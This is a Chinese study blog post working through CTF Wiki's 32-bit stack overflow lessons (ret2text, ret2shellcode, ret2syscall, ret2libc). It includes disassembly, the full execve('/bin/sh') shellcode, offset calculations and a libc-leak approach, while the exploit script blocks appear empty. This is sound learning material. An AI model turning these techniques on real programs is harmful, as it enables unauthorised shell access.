CTFWiki_PWN_LinuxPlatform_UserMode_Exploitation_StackOverflow_x86
函数调用栈
先看这个文章学习函数调用栈
基本ROP
ret2text
出栈时RIP指向栈存放函数返回地址的位置,这个地址我们可以改为一个汇编指令的地址,RIP一直往后面指,以那个地址为起点一直往后执行
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
把函数返回地址设为0804863A,会一直往后执行
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
ret2shellcode
把恶意汇编代码写到数组(代码块)里面,返回地址指向这个数组(代码块)首地址。
这个数组要可读写执行,全局变量(**.bss**)有这个特点
ljust() 用法
1 |
|
shellcraft.sh() 打印结果
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
计算偏移
disass main
反汇编 main 函数找到 main 的第一条指针所在的地址
在get函数下面的语句打断点
0xffffd038 - 0xffffcfcc + 0x4 = 112
exp.py
1 |
|
不知道为什么会报错,后来看了一下,发现要写入shellcode的全局数组在不可执行段
这个方法应该是行不通了
ret2syscall
利用系统调用
该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
设置寄存器的值,我们需要指令pop eax并且还要ret回栈继续下一个pop
使用命令查找
1 |
|
发现一个地址可以一次给三个寄存器赋值
查找’/bin/sh’字符串
1 |
|
查找int 0x80
1 |
|
按照前面教程找偏移,用命令n一步步执行
0x98 - 0x2c + 0x4 = 112
exp.py
1 |
|
1 |
|
ret2libc1
命令查找字符串'/bin/sh'
1 |
|
在IDA里面查找.plt里面有没有system函数
如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址
因为之前ret2text、ret2shellcode是调用代码块,ret2syscall是进行系统调用,都不是正常的函数,调用ret2libc是正常的函数调用,所以根据函数调用栈的约定,要写返回地址,它在比参数地址小4(32位)的位置
ret2libc2
没有'/bin/sh'
,发现可以用plt中的gets()写入全局数组然后读取
1 |
|
gets_plt是gets()地址,pop_ebx_ret是返回地址,函数调用完后到pop_ebx_ret执行命令
0x0804843d : pop ebx ; ret
这里的地址把pop_ebx_ret弹出来,又ret让ip指向栈,进行指到system_plt,调用system()
ret2libc3
第二个payload用104个字节填满栈空间是因为第二次调用main函数的时候可能缺少了栈初始化的过程,第二次调用的时候并不是从一开始的OPE进入的,所以出现了少8位的情况,可以使用动态调试器修改内存地址进行调试计算
如果LibcSearcher报错:no matched libc,please add more libc or try others
要更新一下libc-database
具体看这篇文章
exp.py用Wiki里面的,用python2运行
第一次溢出用puts函数打印__libc_start_main在got中位置,用u32()转换为数字,[0:4]是为了去掉框出的前面的字符串
把地址保存在libc_start_main_addr变量里面,找libc版本,其他略
1 |
|
运行后让我们从0、1中选一个,我选0,然后可以执行命令了